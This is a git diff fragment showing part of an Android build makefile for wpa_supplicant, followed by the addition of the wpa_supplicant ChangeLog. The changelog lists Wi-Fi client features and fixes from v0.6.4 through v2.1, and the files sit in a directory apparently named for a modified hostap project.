+ifdef NEED_AUTOSCAN +L_CFLAGS += -DCONFIG_AUTOSCAN +OBJS += autoscan.c +endif + +ifdef CONFIG_EXT_PASSWORD_TEST +OBJS += src/utils/ext_password_test.c +L_CFLAGS += -DCONFIG_EXT_PASSWORD_TEST +NEED_EXT_PASSWORD=y +endif + +ifdef NEED_EXT_PASSWORD +OBJS += src/utils/ext_password.c +L_CFLAGS += -DCONFIG_EXT_PASSWORD +endif + +ifdef NEED_GAS +OBJS += src/common/gas.c +OBJS += gas_query.c +L_CFLAGS += -DCONFIG_GAS +NEED_OFFCHANNEL=y +endif + +ifdef NEED_OFFCHANNEL +OBJS += offchannel.c +L_CFLAGS += -DCONFIG_OFFCHANNEL +endif + +OBJS += src/drivers/driver_common.c + +OBJS_wpa_rm := ctrl_iface.c ctrl_iface_unix.c +OBJS_wpa := $(filter-out $(OBJS_wpa_rm),$(OBJS)) $(OBJS_h) tests/test_wpa.c +ifdef CONFIG_AUTHENTICATOR +OBJS_wpa += tests/link_test.c +endif +OBJS_wpa += $(OBJS_l2) +OBJS += wpa_supplicant.c events.c blacklist.c wpas_glue.c scan.c +OBJS_t := $(OBJS) $(OBJS_l2) eapol_test.c +OBJS_t += src/radius/radius_client.c +OBJS_t += src/radius/radius.c +ifndef CONFIG_AP +OBJS_t += src/utils/ip_addr.c +endif +OBJS_t2 := $(OBJS) $(OBJS_l2) preauth_test.c +OBJS += $(CONFIG_MAIN).c + +ifdef CONFIG_PRIVSEP +OBJS_priv += $(OBJS_d) src/drivers/drivers.c +OBJS_priv += $(OBJS_l2) +OBJS_priv += src/utils/os_$(CONFIG_OS).c +OBJS_priv += src/utils/$(CONFIG_ELOOP).c +OBJS_priv += src/utils/common.c +OBJS_priv += src/utils/wpa_debug.c +OBJS_priv += src/utils/wpabuf.c +OBJS_priv += wpa_priv.c +ifdef CONFIG_DRIVER_NL80211 +OBJS_priv += src/common/ieee802_11_common.c +endif +ifdef CONFIG_DRIVER_TEST +OBJS_priv += $(SHA1OBJS) +OBJS_priv += $(MD5OBJS) +ifeq ($(CONFIG_TLS), openssl) +OBJS_priv += src/crypto/crypto_openssl.c +endif +ifeq ($(CONFIG_TLS), gnutls) +OBJS_priv += src/crypto/crypto_gnutls.c +endif +ifeq ($(CONFIG_TLS), nss) +OBJS_priv += src/crypto/crypto_nss.c +endif +ifeq ($(CONFIG_TLS), internal) +ifeq ($(CONFIG_CRYPTO), libtomcrypt) +OBJS_priv += src/crypto/crypto_libtomcrypt.c +else +OBJS_priv += src/crypto/crypto_internal.c +endif +endif +endif # CONFIG_DRIVER_TEST +OBJS += src/l2_packet/l2_packet_privsep.c +OBJS += src/drivers/driver_privsep.c +EXTRA_progs += wpa_priv +else +OBJS += $(OBJS_d) src/drivers/drivers.c +OBJS += $(OBJS_l2) +endif + +ifdef CONFIG_NDIS_EVENTS_INTEGRATED +L_CFLAGS += -DCONFIG_NDIS_EVENTS_INTEGRATED +OBJS += src/drivers/ndis_events.c +EXTRALIBS += -loleaut32 -lole32 -luuid +ifdef PLATFORMSDKLIB +EXTRALIBS += $(PLATFORMSDKLIB)/WbemUuid.Lib +else +EXTRALIBS += WbemUuid.Lib +endif +endif + +ifndef LDO +LDO=$(CC) +endif + +######################## + +include $(CLEAR_VARS) +LOCAL_MODULE := wpa_cli +LOCAL_MODULE_TAGS := debug +LOCAL_SHARED_LIBRARIES := libc libcutils liblog +LOCAL_CFLAGS := $(L_CFLAGS) +LOCAL_SRC_FILES := $(OBJS_c) +LOCAL_C_INCLUDES := $(INCLUDES) +include $(BUILD_EXECUTABLE) + +######################## +include $(CLEAR_VARS) +LOCAL_MODULE := wpa_supplicant +ifdef CONFIG_DRIVER_CUSTOM +LOCAL_STATIC_LIBRARIES := libCustomWifi +endif +ifneq ($(BOARD_WPA_SUPPLICANT_PRIVATE_LIB),) +LOCAL_STATIC_LIBRARIES += $(BOARD_WPA_SUPPLICANT_PRIVATE_LIB) +endif +LOCAL_SHARED_LIBRARIES := libc libcutils liblog +ifeq ($(CONFIG_TLS), openssl) +LOCAL_SHARED_LIBRARIES += libcrypto libssl libkeystore_binder +endif +ifdef CONFIG_DRIVER_NL80211 +LOCAL_STATIC_LIBRARIES += libnl_2 +endif +LOCAL_CFLAGS := $(L_CFLAGS) +LOCAL_SRC_FILES := $(OBJS) +LOCAL_C_INCLUDES := $(INCLUDES) +include $(BUILD_EXECUTABLE) + +######################## +# +#include $(CLEAR_VARS) +#LOCAL_MODULE := eapol_test +#ifdef CONFIG_DRIVER_CUSTOM +#LOCAL_STATIC_LIBRARIES := libCustomWifi +#endif +#LOCAL_SHARED_LIBRARIES := libc libcrypto libssl +#LOCAL_CFLAGS := $(L_CFLAGS) +#LOCAL_SRC_FILES := $(OBJS_t) +#LOCAL_C_INCLUDES := $(INCLUDES) +#include $(BUILD_EXECUTABLE) +# +######################## +# +#local_target_dir := $(TARGET_OUT)/etc/wifi +# +#include $(CLEAR_VARS) +#LOCAL_MODULE := wpa_supplicant.conf +#LOCAL_MODULE_CLASS := ETC +#LOCAL_MODULE_PATH := $(local_target_dir) +#LOCAL_SRC_FILES := $(LOCAL_MODULE) +#include $(BUILD_PREBUILT) +# +######################## + +include $(CLEAR_VARS) +LOCAL_MODULE = libwpa_client +LOCAL_CFLAGS = $(L_CFLAGS) +LOCAL_SRC_FILES = src/common/wpa_ctrl.c src/utils/os_$(CONFIG_OS).c +LOCAL_C_INCLUDES = $(INCLUDES) +LOCAL_SHARED_LIBRARIES := libcutils liblog +LOCAL_COPY_HEADERS_TO := libwpa_client +LOCAL_COPY_HEADERS := src/common/wpa_ctrl.h +include $(BUILD_SHARED_LIBRARY) diff --git a/peapwn/mods/hostap/wpa_supplicant/ChangeLog b/peapwn/mods/hostap/wpa_supplicant/ChangeLog new file mode 100644 index 000000000..3f10e1135 --- /dev/null +++ b/peapwn/mods/hostap/wpa_supplicant/ChangeLog @@ -0,0 +1,1703 @@ +ChangeLog for wpa_supplicant + +????-??-?? - v2.1 + * added support for simulataneous authentication of equals (SAE) for + stronger password-based authentication with WPA2-Personal + +2013-01-12 - v2.0 + * removed Qt3-based wpa_gui (obsoleted by wpa_qui-qt4) + * removed unmaintained driver wrappers broadcom, iphone, osx, ralink, + hostap, madwifi (hostap and madwifi remain available for hostapd; + their wpa_supplicant functionality is obsoleted by wext) + * improved debug logging (human readable event names, interface name + included in more entries) + * changed AP mode behavior to enable WPS only for open and + WPA/WPA2-Personal configuration + * improved P2P concurrency operations + - better coordination of concurrent scan and P2P search operations + - avoid concurrent remain-on-channel operation requests by canceling + previous operations prior to starting a new one + - reject operations that would require multi-channel concurrency if + the driver does not support it + - add parameter to select whether STA or P2P connection is preferred + if the driver cannot support both at the same time + - allow driver to indicate channel changes + - added optional delay= parameter for + p2p_find to avoid taking all radio resources + - use 500 ms p2p_find search delay by default during concurrent + operations + - allow all channels in GO Negotiation if the driver supports + multi-channel concurrency + * added number of small changes to make it easier for static analyzers + to understand the implementation + * fixed number of small bugs (see git logs for more details) + * nl80211: number of updates to use new cfg80211/nl80211 functionality + - replace monitor interface with nl80211 commands for AP mode + - additional information for driver-based AP SME + - STA entry authorization in RSN IBSS + * EAP-pwd: + - fixed KDF for group 21 and zero-padding + - added support for fragmentation + - increased maximum number of hunting-and-pecking iterations + * avoid excessive Probe Response retries for broadcast Probe Request + frames (only with drivers using wpa_supplicant AP mode SME/MLME) + * added "GET country" ctrl_iface command + * do not save an invalid network block in wpa_supplicant.conf to avoid + problems reading the file on next start + * send STA connected/disconnected ctrl_iface events to both the P2P + group and parent interfaces + * added preliminary support for using TLS v1.2 (CONFIG_TLSV12=y) + * added "SET pno <1/0>" ctrl_iface command to start/stop preferred + network offload with sched_scan driver command + * merged in number of changes from Android repository for P2P, nl80211, + and build parameters + * changed P2P GO mode configuration to use driver capabilities to + automatically enable HT operations when supported + * added "wpa_cli status wps" command to fetch WPA2-Personal passhrase + for WPS use cases in AP mode + * EAP-AKA: keep pseudonym identity across EAP exchanges to match EAP-SIM + behavior + * improved reassociation behavior in cases where association is rejected + or when an AP disconnects us to handle common load balancing + mechanisms + - try to avoid extra scans when the needed information is available + * added optional "join" argument for p2p_prov_disc ctrl_iface command + * added group ifname to P2P-PROV-DISC-* events + * added P2P Device Address to AP-STA-DISCONNECTED event and use + p2p_dev_addr parameter name with AP-STA-CONNECTED + * added workarounds for WPS PBC overlap detection for some P2P use cases + where deployed stations work incorrectly + * optimize WPS connection speed by disconnecting prior to WPS scan and + by using single channel scans when AP channel is known + * PCSC and SIM/USIM improvements: + - accept 0x67 (Wrong length) as a response to READ RECORD to fix + issues with some USIM cards + - try to read MNC length from SIM/USIM + - build realm according to 3GPP TS 23.003 with identity from the SIM + - allow T1 protocol to be enabled + * added more WPS and P2P information available through D-Bus + * improve P2P negotiation robustness + - extra waits to get ACK frames through + - longer timeouts for cases where deployed devices have been + identified have issues meeting the specification requirements + - more retries for some P2P frames + - handle race conditions in GO Negotiation start by both devices + - ignore unexpected GO Negotiation Response frame + * added support for libnl 3.2 and newer + * added P2P persistent group info to P2P_PEER data + * maintain a list of P2P Clients for persistent group on GO + * AP: increased initial group key handshake retransmit timeout to 500 ms + * added optional dev_id parameter for p2p_find + * added P2P-FIND-STOPPED ctrl_iface event + * fixed issues in WPA/RSN element validation when roaming with ap_scan=1 + and driver-based BSS selection + * do not expire P2P peer entries while connected with the peer in a + group + * fixed WSC element inclusion in cases where P2P is disabled + * AP: added a WPS workaround for mixed mode AP Settings with Windows 7 + * EAP-SIM: fixed AT_COUNTER_TOO_SMALL use + * EAP-SIM/AKA: append realm to pseudonym identity + * EAP-SIM/AKA: store pseudonym identity in network configuration to + allow it to persist over multiple EAP sessions and wpa_supplicant + restarts + * EAP-AKA': updated to RFC 5448 (username prefixes changed); note: this + breaks interoperability with older versions + * added support for WFA Hotspot 2.0 + - GAS/ANQP to fetch network information + - credential configuration and automatic network selections based on + credential match with ANQP information + * limited PMKSA cache entries to be used only with the network context + that was used to create them + * improved PMKSA cache expiration to avoid unnecessary disconnections + * adjusted bgscan_simple fast-scan backoff to avoid too frequent + background scans + * removed ctrl_iface event on P2P PD Response in join-group case + * added option to fetch BSS table entry based on P2P Device Address + ("BSS p2p_dev_addr=") + * added BSS entry age to ctrl_iface BSS command output + * added optional MASK=0xH option for ctrl_iface BSS command to select + which fields are included in the response + * added optional RANGE=ALL|N1-N2 option for ctrl_iface BSS command to + fetch information about several BSSes in one call + * simplified licensing terms by selecting the BSD license as the only + alternative + * added "P2P_SET disallow_freq " ctrl_iface command to + disable channels from P2P use + * added p2p_pref_chan configuration parameter to allow preferred P2P + channels to be specified + * added support for advertising immediate availability of a WPS + credential for P2P use cases + * optimized scan operations for P2P use cases (use single channel scan + for a specific SSID when possible) + * EAP-TTLS: fixed peer challenge generation for MSCHAPv2 + * SME: do not use reassociation after explicit disconnection request + (local or a notification from an AP) + * added support for sending debug info to Linux tracing (-T on command + line) + * added support for using Deauthentication reason code 3 as an + indication of P2P group termination + * added wps_vendor_ext_m1 configuration parameter to allow vendor + specific attributes to be added to WPS M1 + * started using separate TLS library context for tunneled TLS + (EAP-PEAP/TLS, EAP-TTLS/TLS, EAP-FAST/TLS) to support different CA + certificate configuration between Phase 1 and Phase 2 + * added optional "auto" parameter for p2p_connect to request automatic + GO Negotiation vs. join-a-group selection + * added disabled_scan_offload parameter to disable automatic scan + offloading (sched_scan) + * added optional persistent= parameter for p2p_connect to + allow forcing of a specific SSID/passphrase for GO Negotiation + * added support for OBSS scan requests and 20/40 BSS coexistence reports + * reject PD Request for unknown group + * removed scripts and notes related to Windows binary releases (which + have not been used starting from 1.x) + * added initial support for WNM operations + - Keep-alive based on BSS max idle period + - WNM-Sleep Mode + - minimal BSS Transition Management processing + * added autoscan module to control scanning behavior while not connected + - autoscan_periodic and autoscan_exponential modules + * added new WPS NFC ctrl_iface mechanism + - added initial support NFC connection handover + - removed obsoleted WPS_OOB command (including support for deprecated + UFD config_method) + * added optional framework for external password storage ("ext:") + * wpa_cli: added optional support for controlling wpa_supplicant + remotely over UDP (CONFIG_CTRL_IFACE=udp-remote) for testing purposes + * wpa_cli: extended tab completion to more commands + * changed SSID output to use printf-escaped strings instead of masking + of non-ASCII characters + - SSID can now be configured in the same format: ssid=P"abc\x00test" + * removed default ACM=1 from AC_VO and AC_VI + * added optional "ht40" argument for P2P ctrl_iface commands to allow + 40 MHz channels to be requested on the 5 GHz band + * added optional parameters for p2p_invite command to specify channel + when reinvoking a persistent group as the GO + * improved FIPS mode builds with OpenSSL + - "make fips" with CONFIG_FIPS=y to build wpa_supplicant with the + OpenSSL FIPS object module + - replace low level OpenSSL AES API calls to use EVP + - use OpenSSL keying material exporter when possible + - do not export TLS keys in FIPS mode + - remove MD5 from CONFIG_FIPS=y builds + - use OpenSSL function for PKBDF2 passphrase-to-PSK + - use OpenSSL HMAC implementation + - mix RAND_bytes() output into random_get_bytes() to force OpenSSL + DRBG to be used in FIPS mode + - use OpenSSL CMAC implementation + * added mechanism to disable TLS Session Ticket extension + - a workaround for servers that do not support TLS extensions that + was enabled by default in recent OpenSSL versions + - tls_disable_session_ticket=1 + - automatically disable TLS Session Ticket extension by default when + using EAP-TLS/PEAP/TTLS (i.e., only use it with EAP-FAST) + * changed VENDOR-TEST EAP method to use proper private enterprise number + (this will not interoperate with older versions) + * disable network block temporarily on authentication failures + * improved WPS AP selection during WPS PIN iteration + * added support for configuring GCMP cipher for IEEE 802.11ad + * added support for Wi-Fi Display extensions + - WFD_SUBELEMENT_SET ctrl_iface command to configure WFD subelements + - SET wifi_display <0/1> to disable/enable WFD support + - WFD service discovery + - an external program is needed to manage the audio/video streaming + and codecs + * optimized scan result use for network selection + - use the internal BSS table instead of raw scan results + - allow unnecessary scans to be skipped if fresh information is + available (e.g., after GAS/ANQP round for Interworking) + * added support for 256-bit AES with internal TLS implementation + * allow peer to propose channel in P2P invitation process for a + persistent group + * added disallow_aps parameter to allow BSSIDs/SSIDs to be disallowed + from network selection + * re-enable the networks disabled during WPS operations + * allow P2P functionality to be disabled per interface (p2p_disabled=1) + * added secondary device types into P2P_PEER output + * added an option to disable use of a separate P2P group interface + (p2p_no_group_iface=1) + * fixed P2P Bonjour SD to match entries with both compressed and not + compressed domain name format and support multiple Bonjour PTR matches + for the same key + * use deauthentication instead of disassociation for all disconnection + operations; this removes the now unused disassociate() wpa_driver_ops + callback + * optimized PSK generation on P2P GO by caching results to avoid + multiple PBKDF2 operations + * added okc=1 global configuration parameter to allow OKC to be enabled + by default for all network blocks + * added a workaround for WPS PBC session overlap detection to avoid + interop issues with deployed station implementations that do not + remove active PBC indication from Probe Request frames properly + * added basic support for 60 GHz band + * extend EAPOL frames processing workaround for roaming cases + (postpone processing of unexpected EAPOL frame until association + event to handle reordered events) + +2012-05-10 - v1.0 + * bsd: Add support for setting HT values in IFM_MMASK. + * Delay STA entry removal until Deauth/Disassoc TX status in AP mode. + This allows the driver to use PS buffering of Deauthentication and + Disassociation frames when the STA is in power save sleep. Only + available with drivers that provide TX status events for Deauth/ + Disassoc frames (nl80211). + * Drop oldest unknown BSS table entries first. This makes it less + likely to hit connection issues in environments with huge number + of visible APs. + * Add systemd support. + * Add support for setting the syslog facility from the config file + at build time. + * atheros: Add support for IEEE 802.11w configuration. + * AP mode: Allow enable HT20 if driver supports it, by setting the + config parameter ieee80211n. + * Allow AP mode to disconnect STAs based on low ACK condition (when + the data connection is not working properly, e.g., due to the STA + going outside the range of the AP). Disabled by default, enable by + config option disassoc_low_ack. + * nl80211: + - Support GTK rekey offload. + - Support PMKSA candidate events. This adds support for RSN + pre-authentication with nl80211 interface and drivers that handle + roaming internally. + * dbus: + - Add a DBus signal for EAP SM requests, emitted on the Interface + object. + - Export max scan ssids supported by the driver as MaxScanSSID. + - Add signal Certification for information about server certification. + - Add BSSExpireAge and BSSExpireCount interface properties and + support set/get, which allows for setting BSS cache expiration age + and expiration scan count. + - Add ConfigFile to AddInterface properties. + - Add Interface.Country property and support to get/set the value. + - Add DBus property CurrentAuthMode. + - P2P DBus API added. + - Emit property changed events (for property BSSs) when adding/ + removing BSSs. + - Treat '' in SSIDs of Interface.Scan as a request for broadcast + scan, instead of ignoring it. + - Add DBus getter/setter for FastReauth. + - Raise PropertiesChanged on org.freedesktop.DBus.Properties. + * wpa_cli: + - Send AP-STA-DISCONNECTED event when an AP disconnects a station + due to inactivity. + - Make second argument to set command optional. This can be used to + indicate a zero length value. + - Add signal_poll command. + - Add bss_expire_age and bss_expire_count commands to set/get BSS + cache expiration age and expiration scan count. + - Add ability to set scan interval (the time in seconds wpa_s waits + before requesting a new scan after failing to find a suitable + network in scan results) using scan_interval command. + - Add event CTRL-EVENT-ASSOC-REJECT for association rejected. + - Add command get version, that returns wpa_supplicant version string. + - Add command sta_autoconnect for disabling automatic reconnection + on receiving disconnection event. + - Setting bssid parameter to an empty string "" or any can now be + used to clear the bssid_set flag in a network block, i.e., to remove + bssid filtering. + - Add tdls_testing command to add a special testing feature for + changing TDLS behavior. Build param CONFIG_TDLS_TESTING must be + enabled as well. + - For interworking, add wpa_cli commands interworking_select, + interworking_connect, anqp_get, fetch_anqp, and stop_fetch_anqp. + - Many P2P commands were added. See README-P2P. + - Many WPS/WPS ER commands - see WPS/WPS ER sections for details. + - Allow set command to change global config parameters. + - Add log_level command, which can be used to display the current + debugging level and to change the log level during run time. + - Add note command, which can be used to insert notes to the debug + log. + - Add internal line edit implementation. CONFIG_WPA_CLI_EDIT=y + can now be used to build wpa_cli with internal implementation of + line editing and history support. This can be used as a replacement + for CONFIG_READLINE=y. + * AP mode: Add max_num_sta config option, which can be used to limit + the number of stations allowed to connect to the AP. + * Add WPA_IGNORE_CONFIG_ERRORS build option to continue in case of bad + config file. + * wext: Increase scan timeout from 5 to 10 seconds. + * Add blacklist command, allowing an external program to + manage the BSS blacklist and display its current contents. + * WPS: + - Add wpa_cli wps_pin get command for generating random PINs. This can + be used in a UI to generate a PIN without starting WPS (or P2P) + operation. + - Set RF bands based on driver capabilities, instead of hardcoding + them. + - Add mechanism for indicating non-standard WPS errors. + - Add CONFIG_WPS_REG_DISABLE_OPEN=y option to disable open networks + by default. + - Add wps_ap_pin cli command for wpa_supplicant AP mode. + - Add wps_check_pin cli command for processing PIN from user input. + UIs can use this command to process a PIN entered by a user and to + validate the checksum digit (if present). + - Cancel WPS operation on PBC session overlap detection. + - New wps_cancel command in wpa_cli will cancel a pending WPS + operation. + - wpa_cli action: Add WPS_EVENT_SUCCESS and WPS_EVENT_FAIL handlers. + - Trigger WPS config update on Manufacturer, Model Name, Model + Number, and Serial Number changes. + - Fragment size is now configurable for EAP-WSC peer. Use + wpa_cli set wps_fragment_size . + - Disable AP PIN after 10 consecutive failures. Slow down attacks on + failures up to 10. + - Allow AP to start in Enrollee mode without AP PIN for probing, to + be compatible with Windows 7. + - Add Config Error into WPS-FAIL events to provide more info to the + user on how to resolve the issue. + - Label and Display config methods are not allowed to be enabled + at the same time, since it is unclear which PIN to use if both + methods are advertised. + - When controlling multiple interfaces: + - apply WPS commands to all interfaces configured to use WPS + - apply WPS config changes to all interfaces that use WPS + - when an attack is detected on any interface, disable AP PIN on + all interfaces + * WPS ER: + - Add special AP Setup Locked mode to allow read only ER. + ap_setup_locked=2 can now be used to enable a special mode where + WPS ER can learn the current AP settings, but cannot change them. + - Show SetSelectedRegistrar events as ctrl_iface events + - Add wps_er_set_config to enroll a network based on a local + network configuration block instead of having to (re-)learn the + current AP settings with wps_er_learn. + - Allow AP filtering based on IP address, add ctrl_iface event for + learned AP settings, add wps_er_config command to configure an AP. + * WPS 2.0: Add support for WPS 2.0 (CONFIG_WPS2) + - Add build option CONFIG_WPS_EXTENSIBILITY_TESTING to enable tool + for testing protocol extensibility. + - Add build option CONFIG_WPS_STRICT to allow disabling of WPS + workarounds. + - Add support for AuthorizedMACs attribute. + * TDLS: + - Propogate TDLS related nl80211 capability flags from kernel and + add them as driver capability flags. If the driver doesn't support + capabilities, assume TDLS is supported internally. When TDLS is + explicitly not supported, disable all user facing TDLS operations. + - Allow TDLS to be disabled at runtime (mostly for testing). + Use set tdls_disabled. + - Honor AP TDLS settings that prohibit/allow TDLS. + - Add a special testing feature for changing TDLS behavior. Use + CONFIG_TDLS_TESTING build param to enable. Configure at runtime + with tdls_testing cli command. + - Add support for TDLS 802.11z. + * wlantest: Add a tool wlantest for IEEE802.11 protocol testing. + wlantest can be used to capture frames from a monitor interface + for realtime capturing or from pcap files for offline analysis. + * Interworking: Support added for 802.11u. Enable in .config with + CONFIG_INTERWORKING. See wpa_supplicant.conf for config parameters + for interworking. wpa_cli commands added to support this are + interworking_select, interworking_connect, anqp_get, fetch_anqp, + and stop_fetch_anqp. + * Android: Add build and runtime support for Android wpa_supplicant. + * bgscan learn: Add new bgscan that learns BSS information based on + previous scans, and uses that information to dynamically generate + the list of channels for background scans. + * Add a new debug message level for excessive information. Use + -ddd to enable. + * TLS: Add support for tls_disable_time_checks=1 in client mode. + * Internal TLS: + - Add support for TLS v1.1 (RFC 4346). Enable with build parameter + CONFIG_TLSV11. + - Add domainComponent parser for X.509 names. + * Linux: Add RFKill support by adding an interface state "disabled". + * Reorder some IEs to get closer to IEEE 802.11 standard. Move + WMM into end of Beacon, Probe Resp and (Re)Assoc Resp frames. + Move HT IEs to be later in (Re)Assoc Resp. + * Solaris: Add support for wired 802.1X client. + * Wi-Fi Direct support. See README-P2P for more information. + * Many bugfixes. + +2010-04-18 - v0.7.2 + * nl80211: fixed number of issues with roaming + * avoid unnecessary roaming if multiple APs with similar signal + strength are present in scan results + * add TLS client events and server probing to ease design of + automatic detection of EAP parameters + * add option for server certificate matching (SHA256 hash of the + certificate) instead of trusted CA certificate configuration + * bsd: Cleaned up driver wrapper and added various low-level + configuration options + * wpa_gui-qt4: do not show too frequent WPS AP available events as + tray messages + * TNC: fixed issues with fragmentation + * EAP-TNC: add Flags field into fragment acknowledgement (needed to + interoperate with other implementations; may potentially breaks + compatibility with older wpa_supplicant/hostapd versions) + * wpa_cli: added option for using a separate process to receive event + messages to reduce latency in showing these + (CFLAGS += -DCONFIG_WPA_CLI_FORK=y in .config to enable this) + * maximum BSS table size can now be configured (bss_max_count) + * BSSes to be included in the BSS table can be filtered based on + configured SSIDs to save memory (filter_ssids) + * fix number of issues with IEEE 802.11r/FT; this version is not + backwards compatible with old versions + * nl80211: add support for IEEE 802.11r/FT protocol (both over-the-air + and over-the-DS) + * add freq_list network configuration parameter to allow the AP + selection to filter out entries based on the operating channel + * add signal strength change events for bgscan; this allows more + dynamic changes to background scanning interval based on changes in + the signal strength with the current AP; this improves roaming within + ESS quite a bit, e.g., with bgscan="simple:30:-45:300" in the network + configuration block to request background scans less frequently when + signal strength remains good and to automatically trigger background + scans whenever signal strength drops noticeably + (this is currently only available with nl80211) + * add BSSID and reason code (if available) to disconnect event messages + * wpa_gui-qt4: more complete support for translating the GUI with + linguist and add German translation + * fix DH padding with internal crypto code (mainly, for WPS) + * do not trigger initial scan automatically anymore if there are no + enabled networks + +2010-01-16 - v0.7.1 + * cleaned up driver wrapper API (struct wpa_driver_ops); the new API + is not fully backwards compatible, so out-of-tree driver wrappers + will need modifications + * cleaned up various module interfaces + * merge hostapd and wpa_supplicant developers' documentation into a + single document + * nl80211: use explicit deauthentication to clear cfg80211 state to + avoid issues when roaming between APs + * dbus: major design changes in the new D-Bus API + (fi.w1.wpa_supplicant1) + * nl80211: added support for IBSS networks + * added internal debugging mechanism with backtrace support and memory + allocation/freeing validation, etc. tests (CONFIG_WPA_TRACE=y) + * added WPS ER unsubscription command to more cleanly unregister from + receiving UPnP events when ER is terminated + * cleaned up AP mode operations to avoid need for virtual driver_ops + wrapper + * added BSS table to maintain more complete scan result information + over multiple scans (that may include only partial results) + * wpa_gui-qt4: update Peers dialog information more dynamically while + the dialog is kept open + * fixed PKCS#12 use with OpenSSL 1.0.0 + * driver_wext: Added cfg80211-specific optimization to avoid some + unnecessary scans and to speed up association + +2009-11-21 - v0.7.0 + * increased wpa_cli ping interval to 5 seconds and made this + configurable with a new command line options (-G) + * fixed scan buffer processing with WEXT to handle up to 65535 + byte result buffer (previously, limited to 32768 bytes) + * allow multiple driver wrappers to be specified on command line + (e.g., -Dnl80211,wext); the first one that is able to initialize the + interface will be used + * added support for multiple SSIDs per scan request to optimize + scan_ssid=1 operations in ap_scan=1 mode (i.e., search for hidden + SSIDs); this requires driver support and can currently be used only + with nl80211 + * added support for WPS USBA out-of-band mechanism with USB Flash + Drives (UFD) (CONFIG_WPS_UFD=y) + * driver_ndis: add PAE group address to the multicast address list to + fix wired IEEE 802.1X authentication + * fixed IEEE 802.11r key derivation function to match with the standard + (note: this breaks interoperability with previous version) [Bug 303] + * added better support for drivers that allow separate authentication + and association commands (e.g., mac80211-based Linux drivers with + nl80211; SME in wpa_supplicant); this allows over-the-air FT protocol + to be used (IEEE 802.11r) + * fixed SHA-256 based key derivation function to match with the + standard when using CCMP (for IEEE 802.11r and IEEE 802.11w) + (note: this breaks interoperability with previous version) [Bug 307] + * use shared driver wrapper files with hostapd + * added AP mode functionality (CONFIG_AP=y) with mode=2 in the network + block; this can be used for open and WPA2-Personal networks + (optionally, with WPS); this links in parts of hostapd functionality + into wpa_supplicant + * wpa_gui-qt4: added new Peers dialog to show information about peers + (other devices, including APs and stations, etc. in the neighborhood) + * added support for WPS External Registrar functionality (configure APs + and enroll new devices); can be used with wpa_gui-qt4 Peers dialog + and wpa_cli commands wps_er_start, wps_er_stop, wps_er_pin, + wps_er_pbc, wps_er_learn + (this can also be used with a new 'none' driver wrapper if no + wireless device or IEEE 802.1X on wired is needed) + * driver_nl80211: multiple updates to provide support for new Linux + nl80211/mac80211 functionality + * updated management frame protection to use IEEE Std 802.11w-2009 + * fixed number of small WPS issues and added workarounds to + interoperate with common deployed broken implementations + * added support for NFC out-of-band mechanism with WPS + * driver_ndis: fixed wired IEEE 802.1X authentication with PAE group + address frames + * added preliminary support for IEEE 802.11r RIC processing + * added support for specifying subset of enabled frequencies to scan + (scan_freq option in the network configuration block); this can speed + up scanning process considerably if it is known that only a small + subset of channels is actually used in the network (this is currently + supported only with -Dnl80211) + * added a workaround for race condition between receiving the + association event and the following EAPOL-Key + * added background scan and roaming infrastructure to allow + network-specific optimizations to be used to improve roaming within + an ESS (same SSID) + * added new DBus interface (fi.w1.wpa_supplicant1) + +2009-01-06 - v0.6.7 + * added support for Wi-Fi Protected Setup (WPS) + (wpa_supplicant can now be configured to act as a WPS Enrollee to + enroll credentials for a network using PIN and PBC methods; in + addition, wpa_supplicant can act as a wireless WPS Registrar to + configure an AP); WPS support can be enabled by adding CONFIG_WPS=y + into .config and setting the runtime configuration variables in + wpa_supplicant.conf (see WPS section in the example configuration + file); new wpa_cli commands wps_pin, wps_pbc, and wps_reg are used to + manage WPS negotiation; see README-WPS for more details + * added support for EAP-AKA' (draft-arkko-eap-aka-kdf) + * added support for using driver_test over UDP socket + * fixed PEAPv0 Cryptobinding interoperability issue with Windows Server + 2008 NPS; optional cryptobinding is now enabled (again) by default + * fixed PSK editing in wpa_gui + * changed EAP-GPSK to use the IANA assigned EAP method type 51 + * added a Windows installer that includes WinPcap and all the needed + DLLs; in addition, it set up the registry automatically so that user + will only need start wpa_gui to get prompted to start the wpasvc + servide and add a new interface if needed through wpa_gui dialog + * updated management frame protection to use IEEE 802.11w/D7.0 + +2008-11-23 - v0.6.6 + * added Milenage SIM/USIM emulator for EAP-SIM/EAP-AKA + (can be used to simulate test SIM/USIM card with a known private key; + enable with CONFIG_SIM_SIMULATOR=y/CONFIG_USIM_SIMULATOR=y in .config + and password="Ki:OPc"/password="Ki:OPc:SQN" in network configuration) + * added a new network configuration option, wpa_ptk_rekey, that can be + used to enforce frequent PTK rekeying, e.g., to mitigate some attacks + against TKIP deficiencies + * added an optional mitigation mechanism for certain attacks against + TKIP by delaying Michael MIC error reports by a random amount of time + between 0 and 60 seconds; this can be enabled with a build option + CONFIG_DELAYED_MIC_ERROR_REPORT=y in .config + * fixed EAP-AKA to use RES Length field in AT_RES as length in bits, + not bytes + * updated OpenSSL code for EAP-FAST to use an updated version of the + session ticket overriding API that was included into the upstream + OpenSSL 0.9.9 tree on 2008-11-15 (no additional OpenSSL patch is + needed with that version anymore) + * updated userspace MLME instructions to match with the current Linux + mac80211 implementation; please also note that this can only be used + with driver_nl80211.c (the old code from driver_wext.c was removed) + * added support (Linux only) for RoboSwitch chipsets (often found in + consumer grade routers); driver interface 'roboswitch' + * fixed canceling of PMKSA caching when using drivers that generate + RSN IE and refuse to drop PMKIDs that wpa_supplicant does not know + about + +2008-11-01 - v0.6.5 + * added support for SHA-256 as X.509 certificate digest when using the + internal X.509/TLSv1 implementation + * updated management frame protection to use IEEE 802.11w/D6.0 + * added support for using SHA256-based stronger key derivation for WPA2 + (IEEE 802.11w) + * fixed FT (IEEE 802.11r) authentication after a failed association to + use correct FTIE + * added support for configuring Phase 2 (inner/tunneled) authentication + method with wpa_gui-qt4 + +2008-08-10 - v0.6.4 + * added support for EAP Sequences in EAP-FAST Phase 2 + * added support for using TNC with EAP-FAST + * added driver_ps3 for the PS3 Linux wireless driver + * added support for optional cryptobinding with PEAPv0 + * fixed the OpenSSL patches (0.9.8g and 0.9.9) for EAP-FAST to + allow fallback to full handshake if server rejects PAC-Opaque + * added fragmentation support for EAP-TNC + * added support for parsing PKCS #8 formatted private keys into the + internal TLS implementation (both PKCS #1 RSA key and PKCS #8 + encapsulated RSA key can now be used) + * added option of using faster, but larger, routines in the internal + LibTomMath (for internal TLS implementation) to speed up DH and RSA + calculations (CONFIG_INTERNAL_LIBTOMMATH_FAST=y) + * fixed race condition between disassociation event and group key + handshake 